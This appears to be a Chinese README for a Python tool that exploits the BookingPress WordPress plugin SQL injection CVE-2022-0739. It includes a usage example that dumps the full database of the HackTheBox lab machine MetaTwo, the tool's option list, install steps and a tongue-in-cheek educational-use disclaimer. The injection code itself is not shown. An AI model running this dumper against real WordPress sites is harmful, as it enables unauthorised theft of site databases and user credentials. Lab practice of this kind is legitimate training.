我对 CVE-2022-0739 BookingPress 漏洞利用的实现,基于 destr4ct 的 POC——只是更美观一些。
针对 HackTheBox 的 MetaTwo 机器的用法示例,该机器运行着一个装有易受攻击的 bookingpress 插件(版本 1.0.10)的 WordPress。
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
简而言之;本工具仅供教育用途,不要破坏你不拥有或未经授权进行渗透测试的东西。如果你将此程序用于任何邪恶目的,网络安全之神可能会用极具破坏力的恶意软件重创你的计算机,让你宁可当初直接买台 Mac。